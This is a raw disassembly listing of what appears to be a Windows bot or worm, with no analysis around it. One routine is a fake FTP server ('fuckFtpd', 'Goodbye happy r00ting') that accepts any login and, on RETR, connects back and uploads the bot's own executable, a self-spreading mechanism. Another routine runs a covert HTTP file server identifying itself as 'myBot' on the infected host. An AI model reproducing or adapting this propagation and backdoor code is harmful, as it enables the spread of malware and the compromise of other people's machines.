		push	offset aUser_0	; "USER"
		push	eax
		call	sub_415730
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40560E
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_40560E:				; CODE XREF: sub_405398+267j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405632
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_405632:				; CODE XREF: sub_405398+28Bj
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405656
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_405656:				; CODE XREF: sub_405398+2AFj
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40567A
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_40567A:				; CODE XREF: sub_405398+2D3j
		lea	eax, [ebp+var_AC]
		push	offset off_42694C
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40569E
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_40569E:				; CODE XREF: sub_405398+2F7j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D9
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D9
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_4056D9:				; CODE XREF: sub_405398+31Bj
					; sub_405398+332j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405714
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405714
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_405714:				; CODE XREF: sub_405398+356j
					; sub_405398+36Dj
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405762
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_405752:				; CODE XREF: sub_405398+409j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_405951
; ---------------------------------------------------------------------------


loc_405762:				; CODE XREF: sub_405398+391j
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057A3
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_405752
; ---------------------------------------------------------------------------


loc_4057A3:				; CODE XREF: sub_405398+3DFj
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405874
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416947
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41587F
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41587F
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_415390
		push	[ebp+arg_0]
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_415316
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_416930
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_415316
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_405874:				; CODE XREF: sub_405398+420j
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40592F
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40597F
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405925
		call	sub_4059FC
		cmp	eax, 1
		jnz	loc_405951
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43B670
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_426790
		push	eax
		call	sub_415316
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405916
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_412BD1
		add	esp, 14h


loc_405916:				; CODE XREF: sub_405398+559j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40B078
		pop	ecx
		jmp	short loc_405951
; ---------------------------------------------------------------------------


loc_405925:				; CODE XREF: sub_405398+513j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40594E
; ---------------------------------------------------------------------------


loc_40592F:				; CODE XREF: sub_405398+4F1j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405951
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40594E:				; CODE XREF: sub_405398+271j
					; sub_405398+295j ...
		push	edi
		call	ebx	; send


loc_405951:				; CODE XREF: sub_405398+3C5j
					; sub_405398+51Dj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch


loc_405963:				; CODE XREF: sub_405398+15Ej
					; sub_405398+187j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_4054C4
		jmp	loc_40548B
; ---------------------------------------------------------------------------


loc_405975:				; CODE XREF: sub_405398+11Ej
		xor	eax, eax
		inc	eax


loc_405978:				; CODE XREF: sub_405398+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40597F	proc near		; CODE XREF: sub_405398+509p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4211B4	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4211E4	; socket
		push	[ebp+arg_0]
		mov	dword_43B66C, eax
		mov	[ebp+var_10], 2
		call	dword_4211DC	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4211E0	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43B66C
		call	dword_4211E8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4059F7
		push	dword_43B66C
		call	dword_4211F4	; closesocket
		call	dword_4211B0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4059F7:				; CODE XREF: sub_40597F+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40597F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059FC	proc near		; CODE XREF: sub_405398+515p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415A08
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405A93
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405A77
		push	edi
		mov	edi, 400h


loc_405A3F:				; CODE XREF: sub_4059FC+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_416A57
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43B66C
		call	dword_4211F0	; send
		push	1
		call	dword_421060	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A3F
		pop	edi


loc_405A77:				; CODE XREF: sub_4059FC+3Bj
		push	esi
		call	sub_415960
		pop	ecx
		push	dword_43B66C
		call	dword_4211F4	; closesocket
		call	dword_4211B0	; WSACleanup
		xor	eax, eax
		inc	eax


loc_405A93:				; CODE XREF: sub_4059FC+35j
		pop	esi
		leave
		retn
sub_4059FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A96	proc near		; DATA XREF: sub_4071B6+333o
					; sub_40CD3A+5007o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43CA24	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43CAA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_405E5C
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_441BA4[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43CA50	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E5C
		push	7FFFFFFFh
		push	edi
		call	dword_43CA4C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E5C
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43CAC0	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E5C
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi


loc_405B6D:				; CODE XREF: sub_405A96+3BCj
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43CA0C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E57
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_405BA3:				; CODE XREF: sub_405A96+3B6j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	dword_43C91C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405E42
		cmp	edi, [ebp+var_8]
		jnz	short loc_405C24
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_43CAB8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E42
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405BF6


loc_405BE8:				; CODE XREF: sub_405A96+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_405BF6
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_405BE8


loc_405BF6:				; CODE XREF: sub_405A96+150j
					; sub_405A96+159j
		cmp	ecx, ebx
		jnz	short loc_405C13
		cmp	ebx, 40h
		jnb	short loc_405C13
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx


loc_405C13:				; CODE XREF: sub_405A96+162j
					; sub_405A96+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_405E42
		mov	[ebp+var_4], eax
		jmp	loc_405E42
; ---------------------------------------------------------------------------


loc_405C24:				; CODE XREF: sub_405A96+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_415390
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415390
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	dword_43CA3C	; recv
		test	eax, eax
		jg	short loc_405CAB
		push	edi
		call	dword_43CABC	; closesocket
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_405E42


loc_405C70:				; CODE XREF: sub_405A96+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_405C98
		inc	eax
		cmp	eax, ebx
		jb	short loc_405C70
		jmp	loc_405E42
; ---------------------------------------------------------------------------


loc_405C83:				; CODE XREF: sub_405A96+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_405C98:				; CODE XREF: sub_405A96+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_405C83
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_405E42
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_405A96+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_415390
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_415B10
		add	esp, 10h
		test	eax, eax
		jbe	loc_405E42


loc_405CD8:				; CODE XREF: sub_405A96+2F9j
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405D7E
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405D4E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_415B10
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405D4E
		mov	eax, offset asc_426A34 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4158E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4158E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416B3F
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415A20
		add	esp, 10h
		jmp	short loc_405D65
; ---------------------------------------------------------------------------


loc_405D4E:				; CODE XREF: sub_405A96+26Ej
					; sub_405A96+280j
		lea	eax, [ebp+var_18F0]
		push	offset asc_426A30 ; "\r\n"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405D9A


loc_405D65:				; CODE XREF: sub_405A96+2B6j
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405D7E:				; CODE XREF: sub_405A96+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_415B10
		cmp	edi, eax
		pop	ecx
		jb	loc_405CD8
		jmp	loc_405E42
; ---------------------------------------------------------------------------


loc_405D9A:				; CODE XREF: sub_405A96+2CDj
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_405DD6


loc_405DA0:				; CODE XREF: sub_405A96+319j
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_405DC8
		inc	eax
		cmp	eax, ebx
		jb	short loc_405DA0
		jmp	short loc_405DD6
; ---------------------------------------------------------------------------


loc_405DB3:				; CODE XREF: sub_405A96+337j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_405DC8:				; CODE XREF: sub_405A96+314j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_405DB3
		dec	ebx
		mov	[ebp+var_128], ebx


loc_405DD6:				; CODE XREF: sub_405A96+308j
					; sub_405A96+31Bj
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_415B10
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415B10
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_405E39
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_43CAC0	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_406048
		add	esp, 14h
		jmp	short loc_405E42
; ---------------------------------------------------------------------------


loc_405E39:				; CODE XREF: sub_405A96+364j
		push	[ebp+arg_0]
		call	dword_43CABC	; closesocket


loc_405E42:				; CODE XREF: sub_405A96+11Dj
					; sub_405A96+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_405BA3
		jmp	loc_405B6D
; ---------------------------------------------------------------------------


loc_405E57:				; CODE XREF: sub_405A96+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx


loc_405E5C:				; CODE XREF: sub_405A96+6Aj
					; sub_405A96+92j ...
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4269E8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405EA2
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_412BD1
		add	esp, 14h


loc_405EA2:				; CODE XREF: sub_405A96+3E7j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40B078
		pop	ecx
		push	edi
		call	dword_43CABC	; closesocket
		push	[ebp+var_254]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_405A96	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405ECC	proc near		; DATA XREF: sub_406048+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_415316
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		lea	eax, [ebp+var_9C]
		jz	short loc_405F37
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405F3C
; ---------------------------------------------------------------------------


loc_405F37:				; CODE XREF: sub_405ECC+62j
		push	offset aApplicationOct ; "application/octet-stream"


loc_405F3C:				; CODE XREF: sub_405ECC+69j
		push	eax
		call	sub_415316
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_421084	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_421080	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_9C]
		jnz	short loc_405FAF
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_415316
		add	esp, 24h
		jmp	short loc_405FCA
; ---------------------------------------------------------------------------


loc_405FAF:				; CODE XREF: sub_405ECC+CAj
		push	[ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_415316
		add	esp, 28h


loc_405FCA:				; CODE XREF: sub_405ECC+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43CA74	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40600A
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406978
		pop	ecx
		pop	ecx
		jmp	short loc_406027
; ---------------------------------------------------------------------------


loc_40600A:				; CODE XREF: sub_405ECC+126j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4062F7
		add	esp, 10h


loc_406027:				; CODE XREF: sub_405ECC+13Cj
		push	[ebp+var_44C]
		call	dword_43CABC	; closesocket
		push	[ebp+var_B4]
		call	sub_4150F0
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_405ECC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406048	proc near		; CODE XREF: sub_405A96+399p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415390
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_40607E
		push	offset aS_2	; "\\%s"
		jmp	short loc_406086
; ---------------------------------------------------------------------------


loc_40607E:				; CODE XREF: sub_406048+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_406086:				; CODE XREF: sub_406048+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415316
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_415B10
		test	eax, eax
		pop	ecx
		jbe	short loc_406121
		mov	[ebp+arg_8], 2


loc_4060B1:				; CODE XREF: sub_406048+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415B10
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4060F1
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4060F1
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4060F1
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4060F1
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40610B
; ---------------------------------------------------------------------------


loc_4060F1:				; CODE XREF: sub_406048+79j
					; sub_406048+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_406101
		push	5Ch
		pop	eax
		jmp	short loc_406104
; ---------------------------------------------------------------------------


loc_406101:				; CODE XREF: sub_406048+B2j
		movsx	eax, al


loc_406104:				; CODE XREF: sub_406048+B7j
		mov	[ebp+ebx+var_210], al


loc_40610B:				; CODE XREF: sub_406048+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_415B10
		cmp	esi, eax
		pop	ecx
		jb	short loc_4060B1


loc_406121:				; CODE XREF: sub_406048+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_314]
		push	offset asc_426CF0 ; "\n"
		push	eax
		call	sub_416B3F
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_421094	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_40616F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406172
		push	[ebp+arg_0]
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_40616F:				; CODE XREF: sub_406048+11Bj
		mov	[ebp+var_4], esi


loc_406172:				; CODE XREF: sub_406048+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40617F
		mov	[ebp+var_4], esi


loc_40617F:				; CODE XREF: sub_406048+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4061F9
		cmp	[ebp+arg_C], edi
		jz	short loc_4061ED
		lea	eax, [ebp+var_314]
		push	offset asc_426CEC ; "*"
		push	eax
		call	sub_415A30
